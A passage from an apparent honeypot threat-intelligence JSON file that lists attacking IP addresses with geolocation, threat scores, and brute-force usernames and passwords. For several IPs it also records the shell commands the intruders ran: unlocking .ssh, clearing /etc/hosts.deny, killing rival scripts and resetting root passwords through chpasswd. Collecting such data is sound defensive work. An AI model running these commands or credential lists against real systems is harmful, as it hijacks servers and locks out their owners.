        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.83.249.64": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:08:50.480Z",
      "last_seen": "2026-05-16T22:08:50.481Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:08:50.480000+00:00",
        "last_seen_30d": "2026-05-16T22:09:56.316000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.42.126.234": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:49:27.778Z",
      "last_seen": "2026-05-10T06:51:27.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Dim\u0101pur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:49:27.778000+00:00",
        "last_seen_30d": "2026-05-10T07:02:05.566000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.58.206.14": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:29:25.434Z",
      "last_seen": "2026-05-19T23:29:39.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ternopil",
      "asn": 16223,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:29:25.434000+00:00",
        "last_seen_30d": "2026-05-19T23:30:44.244000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "73.72.45.69": {
      "attack_count": 2,
      "first_seen": "2026-05-31T18:01:41.562Z",
      "last_seen": "2026-05-31T18:01:54.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Belvidere",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T18:01:41.562000+00:00",
        "last_seen_30d": "2026-05-31T18:03:03.103000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "84.247.138.235": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:05:27.230Z",
      "last_seen": "2026-05-22T20:05:27.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 4,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T14:23:19+00:00",
        "last_seen_30d": "2026-05-25T01:34:45.882000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Redishoneypot": 2
      }
    },
    "89.139.118.152": {
      "attack_count": 2,
      "first_seen": "2026-05-26T10:52:32.776Z",
      "last_seen": "2026-05-26T10:52:45.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Rosh Ha\u2018Ayin",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T10:52:32.776000+00:00",
        "last_seen_30d": "2026-05-26T10:53:45.785000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.205.198.142": {
      "attack_count": 2,
      "first_seen": "2026-05-05T12:53:31.621Z",
      "last_seen": "2026-05-05T12:53:44.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 204267,
      "as_org": "Homenet LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:53:31.621000+00:00",
        "last_seen_30d": "2026-05-05T12:54:54.101000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.145.166": {
      "attack_count": 2,
      "first_seen": "2026-05-18T17:27:36.936Z",
      "last_seen": "2026-05-18T17:27:49.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:27:36.936000+00:00",
        "last_seen_30d": "2026-05-18T17:28:53.066000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.133.160.33": {
      "attack_count": 15019,
      "first_seen": "2026-05-20T17:42:36.389Z",
      "last_seen": "2026-05-24T15:00:00.154Z",
      "sessions": 7584,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138136,
      "as_org": "Universitas Mataram",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24283,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:35:53.100000+00:00",
        "last_seen_30d": "2026-05-24T15:01:01.809000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15019,
        "Suricata": 9264
      }
    },
    "222.232.176.7": {
      "attack_count": 854,
      "first_seen": "2026-05-21T09:46:45.535Z",
      "last_seen": "2026-05-29T04:49:36.502Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ctrip",
        "fu",
        "kubeadmin",
        "player",
        "tiller",
        "zhao",
        "Azure",
        "admin1",
        "bind",
        "bot",
        "d",
        "django",
        "external",
        "ho",
        "jmarquez",
        "kserge",
        "lili"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "1234",
        "12345678",
        "123qweasdzxc",
        "Aa_123456",
        "Abc123!@#",
        "Dd112211",
        "Dx123456",
        "Ld123456",
        "P@ssWord123",
        "User@123",
        "YuLiShoping123...",
        "aa123321",
        "ab001",
        "admin@123",
        "bind",
        "changeme123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nXCUt0kZqYIOb\\nXCUt0kZqYIOb\\n\"|passwd",
        "echo \"ctrip\\nCQIXDzSAEqKi\\nCQIXDzSAEqKi\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nw36ocCxUIBc6\\nw36ocCxUIBc6\\n\"|passwd",
        "echo \"fu\\nkgnJXQujH4E6\\nkgnJXQujH4E6\\n\"|passwd",
        "echo \"kubernetes\\n42lVEg0fLhr0\\n42lVEg0fLhr0\\n\"|passwd",
        "echo \"player\\npHQgJhfnUF9Q\\npHQgJhfnUF9Q\\n\"|passwd",
        "echo \"root:DCU4YPENBwXB\"|chpasswd|bash",
        "echo \"root:gqulFqk9prbY\"|chpasswd|bash",
        "echo \"tiller\\nLwz5SYJRdI8C\\nLwz5SYJRdI8C\\n\"|passwd",
        "echo -e \"123456\\nXCUt0kZqYIOb\\nXCUt0kZqYIOb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1003,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:46:45.535000+00:00",
        "last_seen_30d": "2026-05-29T04:50:41.291000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 854,
        "Suricata": 149
      }
    },
    "102.211.152.138": {
      "attack_count": 555,
      "first_seen": "2026-05-08T01:16:04.141Z",
      "last_seen": "2026-05-23T03:16:27.473Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "user",
        "test",
        "345gs5662d34",
        "sysadmin",
        "mysql",
        "postgres",
        "appuser",
        "debian",
        "deploy",
        "developer",
        "ftpuser",
        "git",
        "guest",
        "guest1",
        "itadmin",
        "minecraft",
        "ntps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r",
        "!Q@W#E",
        "!QAZ@WSX",
        "12",
        "123#abc",
        "123123",
        "1234",
        "12341234",
        "12345",
        "123456789",
        "123456@",
        "123abc",
        "12qwsazx",
        "1QAZ2WSX",
        "1q2w3e",
        "55555555",
        "666",
        "888888"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:3FsQK7flDMtE\"|chpasswd|bash",
        "echo \"root:ZvniB0z99tRz\"|chpasswd|bash",
        "echo \"system\\n1usXnKQsK9AC\\n1usXnKQsK9AC\\n\"|passwd",
        "echo -e \"system\\n1usXnKQsK9AC\\n1usXnKQsK9AC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 37468,
      "as_org": "ANGOLA-CABLES",
      "threat_score": 39.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 725,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:16:04.141000+00:00",
        "last_seen_30d": "2026-05-23T03:17:29.599000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 555,
        "Suricata": 170
      }
    },
    "159.203.35.6": {
      "attack_count": 479,
      "first_seen": "2026-05-05T06:24:20.257Z",
      "last_seen": "2026-05-28T23:58:36.014Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "stats",
        "ts3server",
        "Ubuntu",
        "azureadmin",
        "demouser",
        "dev",
        "ec2-user",
        "ftpuser",
        "guest",
        "mailtest",
        "mcserver",
        "mysql",
        "newuser",
        "oracle",
        "postgres",
        "public"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "1234",
        "test123",
        "!QAZ@WSX3edc4rfv",
        "0987",
        "123",
        "123321",
        "123456",
        "1234567890",
        "123456789@Abc",
        "123456Aa",
        "1q2w3e4r5t",
        "6",
        "Aaa123456",
        "Admin@123",
        "Ma123456",
        "Q1w2e3r4t5y6",
        "aaaaaaaa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nAWGzEnds5SDT\\nAWGzEnds5SDT\\n\"|passwd",
        "echo \"root:kp1W7mMiovgZ\"|chpasswd|bash",
        "echo \"teamspeak\\n9rdg2FQ4llad\\n9rdg2FQ4llad\\n\"|passwd",
        "echo \"test123\\nqF1TIg8tlj05\\nqF1TIg8tlj05\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nAWGzEnds5SDT\\nAWGzEnds5SDT\"|passwd|bash",
        "echo -e \"teamspeak\\n9rdg2FQ4llad\\n9rdg2FQ4llad\"|passwd|bash",
        "echo -e \"test123\\nqF1TIg8tlj05\\nqF1TIg8tlj05\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:24:20.257000+00:00",
        "last_seen_30d": "2026-05-28T23:59:41.211000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 108
      }
    },
    "113.221.79.154": {
      "attack_count": 446,
      "first_seen": "2026-05-21T07:16:10.238Z",
      "last_seen": "2026-05-22T09:44:49.899Z",
      "sessions": 223,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 679,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:16:10.238000+00:00",
        "last_seen_30d": "2026-05-22T09:45:55.558000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 446,
        "Suricata": 233
      }
    },
    "220.119.37.141": {
      "attack_count": 433,
      "first_seen": "2026-05-13T17:45:13.342Z",
      "last_seen": "2026-05-28T05:04:02.472Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc",
        "admin",
        "diquest",
        "erp",
        "gis",
        "jenkins",
        "joao",
        "thor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$",
        "111111111",
        "121121",
        "1234",
        "123456",
        "123456456",
        "1234qwerASDF",
        "123qwe#",
        "123qwe.com",
        "1z2x3c",
        "3.1415",
        "Aa123456789!",
        "Lw147258",
        "Root@1234",
        "altibase",
        "assfuck1",
        "biteme",
        "cacti"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:6Tkm77v9T9ML\"|chpasswd|bash",
        "echo \"root:YBPh1YyenZcX\"|chpasswd|bash",
        "echo \"root:pRnm3vJwuHhi\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nt4dDIyt5SDg0\\nt4dDIyt5SDg0\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nt4dDIyt5SDg0\\nt4dDIyt5SDg0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Haeundae-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:45:13.342000+00:00",
        "last_seen_30d": "2026-05-28T05:05:03.935000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 433,
        "Suricata": 93
      }
    },
    "222.111.225.250": {
      "attack_count": 386,
      "first_seen": "2026-05-05T10:21:58.885Z",
      "last_seen": "2026-05-12T18:51:04.504Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "deployer",
        "ubuntu",
        "user",
        "user-2",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W1q2w",
        "!QAZ2wsx",
        "!QAZ2wsx3edc",
        "000000",
        "000111",
        "121412",
        "123!@#",
        "12345!",
        "123456qq",
        "141414",
        "1q2w#E$R",
        "1qaz2wsx",
        "881224",
        "Admin123.",
        "Admin@huawei",
        "Fh123456",
        "Hb@123456",
        "Info123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GfQLe47lFDMb\"|chpasswd|bash",
        "echo \"root:mr8z2MkmX7go\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jongno-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 530,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:21:58.885000+00:00",
        "last_seen_30d": "2026-05-12T18:52:11.838000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 144
      }
    },
    "200.10.29.237": {
      "attack_count": 380,
      "first_seen": "2026-05-19T02:04:53.990Z",
      "last_seen": "2026-05-19T02:37:29.742Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bharath",
        "kt",
        "mytest",
        "administrator",
        "ansible",
        "claude",
        "damien",
        "elasticsearch",
        "geo",
        "mm",
        "sri",
        "webadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx2024",
        "123",
        "123456+",
        "123QWE123qwe",
        "Admin@789",
        "a",
        "abc-1234",
        "abcd1234",
        "bharath",
        "claude123",
        "damien",
        "geo",
        "hpinvent",
        "kt@123",
        "mm",
        "mytest",
        "qwqw1212",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bharath\\nSQdnzVTxhBk8\\nSQdnzVTxhBk8\\n\"|passwd",
        "echo \"kt@123\\n4ULWhfkK1qpW\\n4ULWhfkK1qpW\\n\"|passwd",
        "echo \"mytest\\njlzkZp6Lb34C\\njlzkZp6Lb34C\\n\"|passwd",
        "echo \"root:fkqaCY0TgnaL\"|chpasswd|bash",
        "echo -e \"bharath\\nSQdnzVTxhBk8\\nSQdnzVTxhBk8\"|passwd|bash",
        "echo -e \"kt@123\\n4ULWhfkK1qpW\\n4ULWhfkK1qpW\"|passwd|bash",
        "echo -e \"mytest\\njlzkZp6Lb34C\\njlzkZp6Lb34C\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Villavicencio",
      "asn": 270075,
      "as_org": "SUPER REDES S.A.S",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:04:53.990000+00:00",
        "last_seen_30d": "2026-05-19T02:38:30.115000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 67
      }
    },
    "8.245.17.190": {
      "attack_count": 339,
      "first_seen": "2026-05-22T00:17:21.243Z",
      "last_seen": "2026-05-22T01:08:50.198Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
